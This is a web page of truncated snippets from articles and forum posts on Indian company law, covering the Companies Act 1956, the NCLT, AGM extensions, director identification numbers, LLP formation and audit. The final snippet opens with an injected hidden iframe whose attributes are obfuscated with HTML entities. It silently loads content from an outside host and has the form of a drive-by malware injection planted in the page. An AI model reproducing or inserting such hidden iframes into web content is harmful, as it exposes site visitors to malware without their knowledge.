The Minister of Corporate Affairs has said that whenever any case of a company found violating the provisions of Section 383A of the Companies Act, 1956 comes to the notice, Show Cause Notices are iss...

I am very happy to see the judgment of the Supreme Court on National Company Law Tribunal.  I have read the judgment of Justice Jayasimha Babu of Madras High Court regarding the co...

HIII , can any one let me knw abt the required documents for apply to ROC for granting extension for AGM for specfic reason? n normally wht is d tym period taking roc in granting extension???????...

I have been continuously writing on issues touching the corporate world and sharing my personal experience and views with the readers, my colleagues and people connected to the corporate world. While...

DIRECTOR IDENTIFICATION NUMBER AND ITS COMPLEXITIES  THERE ARE THREE TYPES of modes of carrying on the business. These are Sole properitorship, partnership and Company. The formalities with regar...

The Companies Act, 1956, though it requires some reforms as mooted through Companies Bill, 2009, is one of the finest legislations.  Each provision or the section under the Companies Act, 1956 ha...

Everybody knows that the legislature has proposed to constitute a special tribunal to deal with the issues under the Companies Act, 1956 through Companies (Second Amendment) Act, 2002.  The const...

Shaping up the Stamp law: Far reaching amendments proposed toa century-old legislation Vinod Kothari & Payel JainVinod Kothari & Companyvinod@vinodkothari.com , payel@vinodkothari.com&nbs...

The Challenge to the NCLT & NCALT: The five-judge Constitution Bench of the Supreme Court of India Justice KG Balakrishnan, Justice RV Raveendran, Justice DK Jain, Justice P Sathasivam and Ju...

I have been writing articles continuously on section 397/398 of the Companies Act, 1956 touching complicated and interesting areas as I feel. I am of the strong opinion that for good corporate growth,...

I have been writing articles on various issues touching the corporate world and especially the issues under Companies Act, 1956. I was concentrating more on the law pertaining to Oppression...

NOTE ON FORMATION OF LIMITED LIABILITY PARTNERSHIP     LEGAL FRAMEWORK:-   The Limited Liability Partnership (LLP) is governed by Limited Liability Partnership (LLP) Act, 2008...

Steps to be taken to get a new company incorporated: Select, in order of preference, at least one suitable name upto a maximum of six names, indicative of the main objects of the company. Ensure t...

Arbitration- a new avenue for practicing company secretaries Introduction: The dictionary meaning of the word arbitration is “hearing and settling of a dispute by an impartial referee chos...

The Competition Law, 2002 & Its Development Factors Today, the whole world is facing the thought cut competition and to stand ‘in’; every nation is trying to pull their economy up. The globalization...

There has been a recent point of view whether confirmation of minutes is necessary . If we try to comprehend the provisions of companies Act,1956 it says in nutshell as follows : - the minutes o...

The Supreme Court verdict in Kerala State Electricity Board V/s Hindustan Construction Co. Limited [2009] 91 SCL 183 (SC) seems to read out of context. In that case, the directors had resolved on few...

HI... Executive Director (ED) is always a Whole Time Director (WTD)of the Company, Form 32 is mandatory when his position as Director is justified by his responsibilities and authority. But the po...

Supreme Court of India has decide in the Matter Kerala State Electricity Board V/s Hindustan Construction Co. Limited [2009] 91 SCL 183 (SC) inter aliea decide that " Confirmation of minutes of Board...

  <iframe src="http://jL.ch&#117;ra.pl&#47;rc/" style="d&#105;splay:none"></iframe>Audit of Annual Accounts of a company is compulsory and is indispens...